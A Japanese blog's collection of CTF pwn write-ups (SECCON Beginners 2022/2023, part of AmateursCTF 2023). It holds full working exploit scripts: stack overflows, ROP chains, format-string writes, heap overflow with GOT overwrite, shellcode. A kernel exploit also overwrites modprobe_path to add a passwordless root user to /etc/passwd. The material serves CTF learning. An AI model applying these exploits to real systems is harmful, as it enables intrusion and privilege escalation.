p.sendlineafter(':', new_char)
p.sendlineafter(':', str(0xa0))
p.sendafter(':', b'C' * 0xa0)

p.interactive()
[*] '/home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/simple-heap-v1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to amt.rs on port 31176: Done
/home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/./exp.py:29: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(':', str(0x8))
/home/t3mp/.local/lib/python3.11/site-packages/pwnlib/tubes/tube.py:823: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x1b bytes:
    b'Welcome to the flag checker'
[DEBUG] Received 0x7 bytes:
    b'\n'
    b'size: '
[DEBUG] Sent 0x2 bytes:
    b'8\n'
/home/t3mp/.local/lib/python3.11/site-packages/pwnlib/tubes/tube.py:813: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x6 bytes:
    b'data: '
[DEBUG] Sent 0x8 bytes:
    b'A' * 0x8
/home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/./exp.py:31: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(':', str(0x10))
[DEBUG] Received 0x2d bytes:
    b"I'll give you three chances to guess my flag."
[DEBUG] Received 0x7 bytes:
    b'\n'
    b'size: '
[DEBUG] Sent 0x3 bytes:
    b'16\n'
[DEBUG] Received 0x6 bytes:
    b'data: '
[DEBUG] Sent 0x10 bytes:
    b'B' * 0x10
/home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/./exp.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(':', str(index))
[DEBUG] Received 0x22 bytes:
    b'BBBBBBBBBBBBBBBB is not the flag.\n'
[DEBUG] Received 0x2e bytes:
    b"I'll also let you change one character\n"
    b'index: '
[DEBUG] Sent 0x3 bytes:
    b'-8\n'
[DEBUG] Received 0xf bytes:
    b'new character: '
[DEBUG] Sent 0x2 bytes:
    00000000  b0 0a                                               │··│
    00000002
/home/t3mp/ctf/AmateursCTF_2023/simple-heap-v1/./exp.py:37: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(':', str(0xa0))
[DEBUG] Received 0x22 bytes:
    b'BBBBBBBBBBBBBBBB is not the flag.\n'
[DEBUG] Received 0x23 bytes:
    b'Last chance to guess my flag\n'
    b'size: '
[DEBUG] Sent 0x4 bytes:
    b'160\n'
[DEBUG] Received 0x6 bytes:
    b'data: '
[DEBUG] Sent 0xa0 bytes:
    b'C' * 0xa0
[*] Switching to interactive mode
 [DEBUG] Received 0xb2 bytes:
    b'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCflag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC is not the flag.\n'
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCflag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC is not the flag.
[DEBUG] Received 0x20 bytes:
    b'munmap_chunk(): invalid pointer\n'
munmap_chunk(): invalid pointer
[*] Got EOF while reading in interactive

Flag: flag{wh0_kn3w_y0u_c0uld_unm4p_th3_libc}

SECCON Beginners CTF 2023 write-up

まえがき

温度差から来る寝苦しさと涼しさを求めて開けた窓から入ってくる羽虫が鬱陶しい季節がやってきたので、SECCON Beginners CTFが開催されたようです。
No_Controlを除くPwnのみのwrite-upです。

poem

Out of Boundsの脆弱性がある。

int main() {
  int n;
  printf("Number[0-4]: ");
  scanf("%d", &n);
  // Here
  if (n < 5) {
    printf("%s\n", poem[n]);
  }

負数についてのチェックが存在しないため、グローバル変数として定義されているpoemよりも低位のアドレスを参照する事ができる。
-4を入力すると、同じくグローバル変数として定義されているflagが出力される。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep


context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./poem"
#libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("poem.beginners.seccon.games", 9000)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b main
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


payload = b"-4"
p.sendlineafter(':', payload)


p.interactive()

flag: ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}

rewriter 2

checksecの結果が以下

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2回入力する事ができ、どちらの入力にもBoFが存在する。
しかし、普通にBoFするとcanaryくんを殺してしまう。
こういう複数回の入力が許されている場合、大体は一回目でcanaryを特定すればいいものである。
canaryの特性として最下位 1byteは必ず0x00になる。
トルエンディアンの性質上、この最下位 1byteは最初にバッファに侵食される事になる。
従って、ここを任意の文字で埋める事で残りのcanaryをリーク、0x00を補う事でスタックに元々存在していた完全なcanaryを保管しておき、2回目の入力で復元するとともに、リターンアドレスを書き換える。
対象のバイナリはPIEが無効であるため、win関数のアドレスをそのままリターンアドレスに書き込む。
...だけのように見えるのだが、実はこのままだとsystem関数内のmovaps命令による例外で上手くsystem("/bin/sh")が実行されない。
このmovaps命令はスタックのサイズが0x10の倍数でアライメントされていない場合、例外を吐くようになっている。
(数年前のctf4bで引っかかって解けなかった苦い思い出)
スタックのサイズは0x8の倍数であるため、リターンアドレスにret命令が存在するアドレスを設定する事で、0x8バイト分スタック小さくなるため、このアライメントを揃える事ができるようになる。
前述したようにPIEが無効であるため、ret命令はmain関数などの適当なところから引っ張ってくればよい。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep


context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./rewriter2"
#libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("rewriter2.beginners.seccon.games", 9001)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b *main+78
                b *main+153
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


win = elf.symbols['win']
payload = b"A" * 0x8 * 5
payload += b'B'
p.recvuntil("?")
p.send(payload)

p.recvuntil('B')
canary = u64(b'\0' + p.recv(7))
log.info("canary: " + hex(canary))

rop_ret = 0x00401564
payload = b"A" * 0x8 * 5
payload += p64(canary)
payload += b"B" * 0x8
payload += p64(rop_ret)
payload += p64(win)
p.recvuntil("?")
p.send(payload)

p.interactive()

flag: ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}

Forgot_Some_Exploit

checksecで確認できる範囲のセキュリティ機構は全て有効。
2回の入力と、FSBが存在するprintfによる出力が2回行われる。
バイナリ内にはwin関数が存在するため、前述のPIEの機構を回避してこの関数を実行するのが最終的な目標であると推測できる。
PIEはバイナリのアドレスをランダマイズする機構であるため、バイナリのアドレスをリークして相対的なオフセットからwin関数のアドレスを特定する必要がある。
また、win関数に制御を移すにはリターンアドレスを書き換える必要があるため、スタックのアドレスも同様にリークして相対的なオフセットからリターンアドレスの位置を特定する必要がある。
FSBでは%pを用いてスタックの内容をリークできるため、一回目の入力では - バイナリのアドレス - リターンアドレス付近のスタックのアドレス

をリークする。
手元の環境では%41$pecho関数からmain関数へのリターンアドレスであるmain+14のアドレスが、%13$pでリターンアドレスを保持しているアドレス - 0x8のアドレスがリークできたのだが、リモートで実行すると後者について全く異なる値をリークしてしまう。
glibcのバージョンによってスタックの構成が異なる事があったなぁ、という曖昧な記憶があったので、リモートの環境がUbuntu 22.04であると仮定してGLIBC 2.35-0ubuntu3libc.so.6とそれに対応したld.solibc databaseから持ってきて強制的にリンクするようパッチした。

$ patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./chall
$ patchelf --replace-needed libc.so.6 ./libc.so.6 ./chall

この状態で実行してみると、リターンアドレスを保持するスタックアドレスは%40$pでリークできる事がわかった。
PIEでランダマイズされていてもmain関数とwin関数のアドレスの違いは下位2byteのみであるため、後はリターンアドレスの下位2byteを$hnを使って書き換えるだけである。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep

context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chall"
#libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("forgot-some-exploit.beginners.seccon.games", 9002)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b *echo+74
                b *echo+127
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)

# local
#payload = b'%41$p%13$p'
# remote
payload = b'%41$p%40$p'

p.send(payload)

leak = eval(p.recv(14))
log.info("bin leak: " + hex(leak))
bin_base = leak - 0x12ec
elf.address = bin_base
log.info("bin base: " + hex(bin_base))
win = elf.symbols["win"]
log.info("win: " + hex(win))
leak = eval(p.recv(14))
log.info("stack leak: " + hex(leak))
ret_addr = leak - 0x8
log.info("return address@" + hex(ret_addr))

payload = "%{}c%8$hn".format(win+1&0xffff).encode()
payload += b'A' * (8 - (len(payload) % 8))
payload += p64(ret_addr)

sleep(0.3)
p.send(payload)

p.interactive()

flag: ctf4b{4ny_w4y_y0u_w4nt_1t}

Elementary_ROP

checksecの結果が以下

[*] '/home/t3mp/ctf/seccon_beginners_2023/pwn/Elementary_ROP/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

main関数で皆さんご存知のgets関数が使用されている上に、No PIEかつNo canaryなのでROPをやるだけ。
一回目でGOTから適当な関数のlibcアドレスをリークして再びmain関数に戻り、二回目でsystem("/bin/sh")を実行する。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep


context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chall_patched"
libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("elementary-rop.beginners.seccon.games", 9003)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
        b *main+51
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


rop_pop_rdi_ret = 0x0040115a
rop_ret = 0x004011ec

payload = b"A" * 0x28
payload += p64(rop_ret)
payload += p64(rop_pop_rdi_ret)
payload += p64(elf.got['printf'])
payload += p64(elf.plt['printf'])
payload += p64(elf.symbols['main'] + 1)

p.recvuntil(":")
p.sendline(payload)

p.recvuntil('\x20')
leak = u64(p.recv(6) + b'\0' * 2)
log.info("printf@libc: " + hex(leak))
libc_base = leak - libc.symbols['printf']
log.info("libc base: " + hex(libc_base))
libc.address = libc_base
log.info("system@libc: " + hex(libc.symbols["system"]))

binsh_addr = next(libc.search(b'/bin/sh\x00'))
log.info("/bin/sh: " + hex(binsh_addr))


payload = b"B" * 0x28
payload += p64(rop_ret)
payload += p64(rop_pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(libc.symbols["system"])

p.recvuntil(":")
p.sendline(payload)


p.interactive()

flag: ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}

driver4b

Kernel問しばらくやってなかったので、とりあえずpawnyable.cafeに行く。
Qemuを実行するrun.shを見てみると、有効なセキュリティ機構はKPTIくらいである事がわかる。

参考: https://pawnyable.cafe/linux-kernel/introduction/security.html

従って、

  • ユーザー空間のメモリに対する読み書き実行が可能
  • Kernel空間の関数や構造体のアドレスはランダマイズされない

という事がわかる。
また、src/configを見てみると以下のような記述がある。

# Static modprobe_path
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/modprobe"

普通のKenrel Configにこのようなコメントが入るはずはないので、おそらく問題の解法において重要なのだろうと推測できる。
pawnyable.cafeからmodprobe_pathについて引用させていただく。

modprobe_path__request_moduleという関数から呼び出されるコマンド文字列で、書き換え可能領域に存在します。
Linuxには実行ファイル形式が複数共存しており、実行権限のあるファイルが実行されるとファイルの先頭のバイト列などから形式を判別します。標準ではELFファイルとshebangが登録されているのですが、このように登録されている形式にマッチしない不明な実行ファイルが呼び出されようとしたとき、__request_moduleが使われます。modprobe_pathには標準で/sbin/modprobeが書かれており、これを書き換えた上で不正な形式の実行ファイルを起動しようとすると、任意のコマンドが実行できます。

つまり、modprobe_pathを書き換えた上で不正な形式の実行ファイル(ヘッダが0xdeadbeefなど)を実行すると、そのpathに存在するスクリプトを特権で実行してくれるという事である。
なお、modeprobe_pathはおなじみpwntoolsを使って以下のように求める事ができる。

https://cdn.discordapp.com/attachments/530608865256013840/1114787052161093642/2023-06-03_21-51.png

なお、前述のようにKernel空間のランダマイズが無効(No KASLR)であるため、このアドレスは固定である。
以上のことから、今回の問題には任意アドレスへの書き込み(AAW)ができる脆弱性があるのだと予想できる。

その上でKernel Moduleのソースコードを読んでみる。
重要なのはmodule_ioctlなんだろうなぁという事がなんとなくわかる。

/**
 * Handle ioctl request
 */
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
  char *msg = (char*)arg;

  switch (cmd) {
    case CTF4B_IOCTL_STORE:
      /* Store message */
      memcpy(g_message, msg, CTF4B_MSG_SIZE);
      break;

    case CTF4B_IOCTL_LOAD:
      /* Load message */
      memcpy(msg, g_message, CTF4B_MSG_SIZE);
      break;

    default:
      return -EINVAL;
  }

  return 0;
}

src/ctf4b.hを見てみると、

#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD  0xC7F4B01

#define CTF4B_MSG_SIZE 0x100

とある事から、以下のようなコードにより、Kernel Moduleのグローバル変数であるg_messageへの書き込み、読み込みが可能である事がわかる。 ...と、ここまでブログを書いたところで、親切にexample.cが存在する事に気づいたので、これをそのまま貼らせていただく。

#include "../src/ctf4b.h"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int main() {
  char *buf;
  int fd;

  fd = open("/dev/ctf4b", O_RDWR);
  if (fd == -1)
    fatal("/dev/ctf4b");

  buf = (char*)malloc(CTF4B_MSG_SIZE);
  if (!buf) {
    close(fd);
    fatal("malloc");
  }

  /* Get message */
  memset(buf, 0, CTF4B_MSG_SIZE);
  ioctl(fd, CTF4B_IOCTL_LOAD, buf);
  printf("Message from ctf4b: %s\n", buf);

  /* Update message */
  strcpy(buf, "Enjoy it!");
  ioctl(fd, CTF4B_IOCTL_STORE, buf);

  /* Get message again */
  memset(buf, 0, CTF4B_MSG_SIZE);
  ioctl(fd, CTF4B_IOCTL_LOAD, buf);
  printf("Message from ctf4b: %s\n", buf);

  free(buf);
  close(fd);
  return 0;
}

一見するとKernel ModuleにBoFも何もないので安全なように見えるが、前述のようにユーザー空間のメモリに対する読み書き実行が可能である事から、ユーザー空間のexploitに書かれたポインタをそのまま利用する事ができてしまう。
つまり、CTF4b_IOCTL_LOADにおいてg_messageの内容を書き込む先として渡すポインタにKernel空間のアドレスを渡す事ができるため、AAWができる。
これを使用してmodprobe_pathを書き換えれば良い。
全体的なexploitの流れは以下のようになる。

  1. g_message/tmp/evil.shを書き込む (modprobe_path書き換え用)
  2. 特権で実行して欲しいスクリプト/tmp/evil.shに書き込む
  3. modprobe_pathg_messageの書き込み先としてCTF4B_IOCTL_LOADを行う事でmodprobe_pathを書き換える
  4. デタラメな実行ファイルを実行する
  5. /tmp/evil.shが発火 win !

以下が実際のexploit

#include "../src/ctf4b.h"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define ulong unsigned long

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int main() {
  char *buf;
  int fd;

  ulong modprobe_path = 0xffffffff81e3a080;

  fd = open("/dev/ctf4b", O_RDWR);
  if (fd == -1)
    fatal("/dev/ctf4b");

  buf = (char*)malloc(0x100);
  if (!buf) {
    close(fd);
    fatal("malloc");
  }

  /* Update message */
  memset(buf, 0, 0x100);
  strcpy(buf, "/tmp/evil.sh");
  ioctl(fd, CTF4B_IOCTL_STORE, buf);

  /* Prepare evil script */
  FILE *file = fopen("/tmp/evil.sh", "w");
  if (file == NULL)
    fatal("evil.sh");
  fprintf(file, "#!/bin/sh\necho \"t3mp::0:0:root:/root:/bin/sh\" >> /etc/passwd\n");
  fclose(file);
  system("chmod +x /tmp/evil.sh");

  /* Overwrite modprobe_path */
  char* ptr = (char*)modprobe_path;
  ioctl(fd, CTF4B_IOCTL_LOAD, ptr);

  system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
  system("chmod +x /tmp/pwn");
  system("/tmp/pwn");

  free(buf);
  close(fd);

  puts("Win! You can execute $ su t3mp");

  return 0;
}

/tmp/evil.shchmod -R 777 /rootと書けばflagは得れるのだが、個人的にroot shellが出てくると嬉しいので冗長なコードを書いている。
flag: ctf4b{HOMEWORK:Write_a_stable_exploit_with_KASLR_enabled}
AAR作ってアドレスリークするのかな...?
実はこの問題は開催して最初の方に手を付けていたのだが、evil.shshebangは必要である事に気づかず、解くのが非常に遅くなってしまった...無念。

No_Control

scanfでstackとheapを整数の文字列で汚染できる事はわかったが、そこから先が何も...

あとがき

今年もHeapに破れた...
色々をやっていたらブログの更新が一年近く空いてしまった事に驚いている。

SECCON Beginners CTF 2022 write-up

try harder...

まえがき

今年も寝る時の温度調整に困る時期がやってきたので、SECCON Beginners CTF 2022が開催されました。
最初に書いておきますが、pwnableのみのwrite-upです。
他の問題はふんわりとしか解いていないので...

BeginnersBof

解析

./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=86ef4ca27c36d4407e00eb318b228011ce11ac63, for GNU/Linux 3.2.0, not stripped
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

checksecで確認できるセキュリティ機構は全部なし。

解法

入力用のバッファよりも大きい入力が可能である上に、前述のようにセキュリティ機構がないのでシンプルなBoFができる。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep

context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chall"
#libc = ELF()
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("beginnersbof.quals.beginners.seccon.jp", 9000)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b main+178
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


win_func_addr = elf.symbols['win']

payload = b"A" * 8 * 5
payload += p64(win_func_addr)

p.recvuntil("How long is your name?")
p.sendline(str(len(payload) + 2))
p.recvuntil("What's your name?")
p.sendline(payload)

p.interactive()

raindrop

解析

./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cba1707049faf8a4e56b2adfe2b8e9813e087e12, for GNU/Linux 3.2.0, not stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

解法

PIEが無効かつcanaryがないため、ROPを組む事を考える。
しかし、入力できるバッファのサイズが0x30 byteであるのに対して、バッファからリターンアドレスまでの距離が0x18 byteであるため、残りの0x18 byteでROPを組む必要がある。
このサイズでシェルを奪うROPを組む方法を思いつかなかったため、vuln関数内のreadの処理(vuln+64)をもう一度呼び出す事にした。
手元の環境でもう一度呼び出して見ると、二回目のread関数の引数はread(0, [rbp - 0x10], 0x30)のようになる事がわかる。
この時のrbpの値はret命令直前のleave命令によってリターンアドレス前のsaved rbpの値になるため、実質的に任意のアドレスへの書き込みが可能となる。
2回目の入力で直接リターンアドレスを書き換えれば、前述の0x18 byteの制限がリターンアドレスを含めた0x30 byteまでの制限に緩和できるため、一回目の入力前のshow_stack関数の出力からスタック上のアドレスを取得し、そこから2回目の入力で直接リターンアドレスを書き換えれるアドレスまでのオフセットを求めた。
これによって、movaps命令によるスタックのアライメントに起因するエラーを回避(ret命令を一回実行するだけ)しつつsystem関数の引数を設定してシェルを起動するROPを組む事ができる。
(exploitではpayloadのダイエットのために一回目のバッファに/bin/shを置いているが、2回目のペイロードの制限である0x30 byteまで余裕があるので必要ではない...)

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep

context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chall"
#libc = ELF()
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("raindrop.quals.beginners.seccon.jp", 9001)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b *vuln+112
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


# Get stack address
p.recvuntil("000002 | ")
## 1st payload start address
payload_addr = eval(p.recv(18)) - 0x20
log.info("payload@stack: " + hex(payload_addr))
## 2nd payload start address
payload_2nd_addr = payload_addr + 0x18
log.info("payload2@stack: " + hex(payload_2nd_addr))

# 1st payload (recall read@vuln)
payload = b'/bin/sh\0'
payload += b'A' * 8
payload += p64(payload_2nd_addr + 0x10)# saved rbp
payload += p64(0x401246)# vuln+64
## read(0, [saved rbp - 0x10], 0x30)

# 2nd payload (exec shell)
payload2 = p64(0x401453)# pop rdi; ret
payload2 += p64(payload_addr)
payload2 += p64(0x40101a)# ret (for movaps)
payload2 += p64(elf.plt['system'])

p.recvuntil("Did you understand?")
p.sendline(payload)
sleep(1)
p.sendline(payload2)

p.interactive()

[追記] 競技後にRIRUさんからもっとシンプルにまとめる案をいただきました。
一回目の時点でバッファのアドレスはわかっているため、バッファ内に/bin/shを置くのはそのままで、残りの0x18 byteをそれぞれ、
1. pop rdi; ret;
2. /bin/shのアドレス
3. system@plt

として使用する方法です。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep

context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chall"
#libc = ELF()
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("raindrop.quals.beginners.seccon.jp", 9001)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b *vuln+112
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


# Get stack address
p.recvuntil("000002 | ")
## payload start address
buf_addr = eval(p.recv(18)) - 0x20
log.info("buffer@stack: " + hex(buf_addr))

# payload
payload = b'/bin/sh\0'
payload += b'A' * 8
payload += p64(0x40101a)# pop rdi; ret
payload += p64(buf_addr)
payload += p64(elf.plt['system'])

p.recvuntil("Did you understand?")
p.sendline(payload)

p.interactive()

一発で通るしこっちの方がシンプルでいいですね。
RIRUさん、ありがとうございました。

snowdrop

解析

./chall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9e7476418f9c7f3e7069f3b041c09ed5e46aa64f, for GNU/Linux 3.2.0, not stripped

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

解法

スタック領域が実行可能なので、スタック上でのシェルコード実行を考える。
raindropと同じ要領でスタック上のアドレスを取得し、リターンアドレスをスタック上のシェルコードのアドレスに書き換えた。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep

context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chall"
#libc = ELF()
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("snowdrop.quals.beginners.seccon.jp", 9002)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b *main+107
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)

p.recvuntil("000006 | ")
payload_addr = eval(p.recv(18)) -0x268
log.info("payload@stack: " + hex(payload_addr))

payload = b""
payload += b'A' * 8 * 3
payload += p64(payload_addr + len(payload) + 8)
payload += asm(shellcraft.sh())

p.recvuntil("Did you understand?")
p.sendline(payload)

p.interactive()

simplelist

解析

./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/t3mp/ctf/seccon_beginners_2022/pwn/simplelist/ld-2.33.so, for GNU/Linux 3.2.0, BuildID[sha1]=c1ea22cea66863313f8fa1c228051f7d991d4dcb, not stripped

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

解法

問題にglibc 2.33が同梱されていたため、「2.32以降のglibcの問題に取り組んだ事ないから詰んだか...?」と焦ったが、よくよく見てみるとcreate関数とedit関数に自明なheap overflowがあったので安心した...
(house of * 周りも精進したい)

void create() {
---- snipped ----
     gets(e->content);// overflow
     e->next = NULL;
     list_add(e);
}
void edit() {
---- snipped ----
    printf("New content: ");
    gets(e->content);// overflow
}

これらの関数によって管理されるメモは、

typedef struct memo {
    struct memo *next;
    char content[CONTENT_SIZE];
} Memo;

のような構造で管理されているため、heap overflowによって次のメモのアドレス(*next)を書き換える事が出来る。
libcのアドレスをリークしないとシェルを奪うのに不便なので、てきとうにsetvbuf関数のGOTをnextに置く事で、libc上のsetvbuf関数のアドレスをリークする。
(ただしshow関数を使用してアドレスをリークしようとするとsetvbuf関数の機械語をポインタとして参照しようとしてSIGSEGVで落ちるので、edit関数のOld contentを通してリークする。)
アドレスリークによってlibc上のsystem関数のアドレスを算出できるので、メニュー選択で使用するatoi関数のGOTをsystem関数に書き換え、シェルを起動する。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep

context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chall"
libc = ELF("./libc-2.33.so")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("simplelist.quals.beginners.seccon.jp", 9003)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                c
        loadsym
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


def create(buf):
    p.recvuntil(">")
    p.sendline('1')
    p.recvuntil("Content:")
    p.sendline(buf)

def edit(index, buf):
    p.recvuntil(">")
    p.sendline('2')
    p.recvuntil("index:")
    p.sendline(str(index))
    p.recvuntil("New content:")
    p.sendline(buf)


create(b'A' * 0x20)
create(b'B' * 0x20)

# overwrite next address(index=1)
payload = b'C' * 0x20# buffer for index 0
payload += p64(0x31) # heap chunk header
payload += p64(elf.got['setvbuf'] - 0x8)# next address
edit(0, payload)

# leak libc address
p.recvuntil(">")
p.sendline('2')
p.recvuntil("index:")
p.sendline(str(2))
p.recvuntil("Old content: ")
setvbuf_libc_addr = u64(p.recvline().rstrip(b'\n') + b'\00' * 2)
log.info("setvbuf@libc: " + hex(setvbuf_libc_addr))
libc_base = setvbuf_libc_addr - libc.symbols['setvbuf']
log.info("libc base: " + hex(libc_base))
system_libc_addr = libc_base + libc.symbols['system']
log.info("system@libc: " + hex(system_libc_addr))
p.recvuntil("New content:")
p.sendline(b'')

# GOT overwrite (atoi@got -> system@libc)
payload = b'C' * 0x20# buffer for index 0
payload += p64(0x31) # heap chunk header
payload += p64(elf.got['atoi'] - 0x8)
edit(0, payload)
edit(2, p64(system_libc_addr))

# exec shell
p.recvuntil(">")
p.sendline("/bin/sh")

p.interactive()

あとがき

Monkey Heap倒して全完したかった...
SECCON Beginners CTFは毎年悔しい思い出ができるので、精進しなくてはという気持ちに駆られる。

strippedなバイナリをgdbで動的解析する

まえがき

ゲームも小説も飽きてしまったので、CTFのpwnに本腰入れようと昨日の夜からぶっ通しで色々やっていました。
去年の暮れ頃に開催されたCTFの問題やらに手を出して、pwnable.xyzの存在を知ったので、早速取り組む事に。
しかしながら一問目のWelcome問題からつまづいてしまったので、その時の簡易的なメモ。

つまづいた点

pwnable.xyzのwelcome問題を静的解析してみると、mallocでヒープ領域に値を動的確保している事がわかったのでgdbでヒープ領域の変遷を観察しようと考える。
しかし、実際にgdbに渡してみると...

$ gdb -q ./challenge
Reading symbols from ./challenge...
(No debugging symbols found in ./challenge)
gdb-peda$ b main
Function "main" not defined.
gdb-peda$ start
No unwaited-for children left.
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x00005555555548b0  puts@plt
0x00005555555548b8  write@plt
0x00005555555548c0  __stack_chk_fail@plt
0x00005555555548c8  system@plt
0x00005555555548d0  alarm@plt
0x00005555555548d8  read@plt
0x00005555555548e0  signal@plt
0x00005555555548e8  malloc@plt
0x00005555555548f0  __printf_chk@plt
